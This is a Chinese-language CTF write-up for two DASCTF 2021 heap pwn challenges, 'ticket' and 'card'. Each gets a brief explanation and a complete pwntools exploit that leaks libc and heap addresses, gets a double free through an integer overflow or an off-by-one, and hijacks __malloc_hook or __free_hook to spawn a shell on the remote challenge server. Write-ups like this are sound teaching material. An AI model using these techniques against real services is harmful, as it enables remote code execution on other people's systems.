DASCTF2021.5-PWN-WP

Posted on May 30, 2021

由于有 XCTF-FINAL,所以虽然报了名,但是并没有打这场比赛,XCTF 也是零贡献,什么都不会了只好补一下 DASCTF 的题目,两题都很简单。

ticket 可以通过申请释放再申请可以 leak 出 libc 和堆的基址,然后输入在 age 变量处伪造一个 chunk 的地址,利用整数溢出 free 掉这个 chunk,实现 double free,打 malloc_hook 即可

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

#sh = process("./ticket")
#libc = ELF("/glibc/2.23/amd64/lib/libc.so.6")
sh = remote("node3.buuoj.cn",26677)
libc = ELF("./libc-2.23.so")

def edit_twice(name, words, age):
    sh.sendlineafter("name: \n",name)
    sh.sendlineafter("fei): \n",words)
    sh.sendlineafter("age: \n",age)

def add_ticket(idx, size):
    sh.sendlineafter(">> ",'1')
    sh.sendlineafter("Index: \n",str(idx))
    sh.sendlineafter("size: \n",str(size))

def delete_ticket(idx):
    sh.sendlineafter(">> ",'2')
    sh.sendlineafter("Index: \n",str(idx))

def edit_ticket(idx,payload):
    sh.sendlineafter(">> ",'3')
    sh.sendlineafter("Index: \n",str(idx))
    sh.sendlineafter("remarks: \n",str(payload))

def show_ticket(idx):
    sh.sendlineafter(">> ",'4')
    sh.sendlineafter("Index: \n",str(idx))

edit_twice('1','1','1')

add_ticket(0,512)
add_ticket(1,32)
add_ticket(2,32)
delete_ticket(0)
delete_ticket(2)
delete_ticket(1)
add_ticket(1,32)
add_ticket(0,512)
show_ticket(0)

sh.recvuntil("Ticket 0: ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 88
log.success("libc_base: " + hex(libc_base))

show_ticket(1)
sh.recvuntil("Ticket 1: ")
heap_base = u64(sh.recv(4).ljust(8,'\x00')) - 0x2A0
log.success("heap_base: " + hex(heap_base))

add_ticket(2,0x68)
add_ticket(3,0x68)
delete_ticket(2)
delete_ticket(3)

chunk2_addr = heap_base + 0x2D0
sh.sendlineafter(">> ",'5')
edit_twice('1','1',str(chunk2_addr + 0x10))

delete_ticket(-3)

add_ticket(3,0x68)
edit_ticket(3,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
add_ticket(4,0x68)
add_ticket(5,0x68)
add_ticket(2,0x68)

one_gadget = libc_base + 0xf1147

edit_ticket(2,'a' * 0x13 + p64(one_gadget))
delete_ticket(0)
#gdb.attach(proc.pidof(sh)[0])
add_ticket(0,0x10)

sh.interactive()

card 只要先通过释放再申请就可以 leak 出堆地址,通过填满 tcache 就可以使 chunk 进入 unsorted bin,可以实现 leak,由于有堆地址,所以可以绕过 unlink 做一个前向合并实现 chunk overlapping,就可以 double free 然后打 __free_hook 即可。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

#sh = process("./pwn")
#libc = ELF("/glibc/2.27/amd64/lib/libc.so.6")
sh = remote("node3.buuoj.cn",28869)
libc = ELF("./libc.so")

def add(idx,size,payload):
    sh.sendlineafter("choice:",'1')
    sh.sendlineafter("card:",str(idx))
    sh.sendlineafter("power:\n",str(size))
    sh.sendafter("quickly!",payload)

def offbyone(idx,payload):
    sh.sendlineafter("choice:",'2')
    sh.sendlineafter("card",str(idx))
    sh.sendafter("show\n",payload)

def free(idx):
    sh.sendlineafter("choice:",'3')
    sh.sendlineafter("card:",str(idx))

def show(idx):
    sh.sendlineafter("choice:",'4')
    sh.sendlineafter("index:",str(idx))

add(0,0x18,'\n') # idx:0
add(1,0x18,'\n') # idx:1
#add(2,0x18,'\n') # idx:2
free(0)
free(1)
add(1,0x18,'\x00')
show(1)
sh.recvuntil("de:")
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x200
log.success("heap_base:" + hex(heap_base))

for i in range(10):
    add(i + 2,0xF8,'\n')

add(13,0x18,'\n')
#add(0,0x18,'\n')

for i in range(8):
    free(i + 2)

add(2,0x18,'\xFF')
show(2)
sh.recvuntil("de:")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x10 - libc.sym["__malloc_hook"]
libc_base = libc_base & 0xFFFFFFFFFFFFF000
log.success("libc_base:" + hex(libc_base))

payload = p64(0) + p64(0x21) + p64(heap_base + 0x9C0) * 2 + p64(0x20) + p64(0x21)
add(3,0xB8,payload)
add(4,0x18,'\n')
offbyone(4,''.ljust(0x10,'\x00') + p64(0xD0) + '\x00')
free(10)

add(5,0xA8,'\n')
add(6,0x18,'\n')
free(6)
free(4)
add(4,0x18,p64(libc_base + libc.sym["__free_hook"]))
add(6,0x18,'/bin/sh\x00')
add(7,0x18,p64(libc_base + libc.sym["system"]))
free(6)

sh.interactive()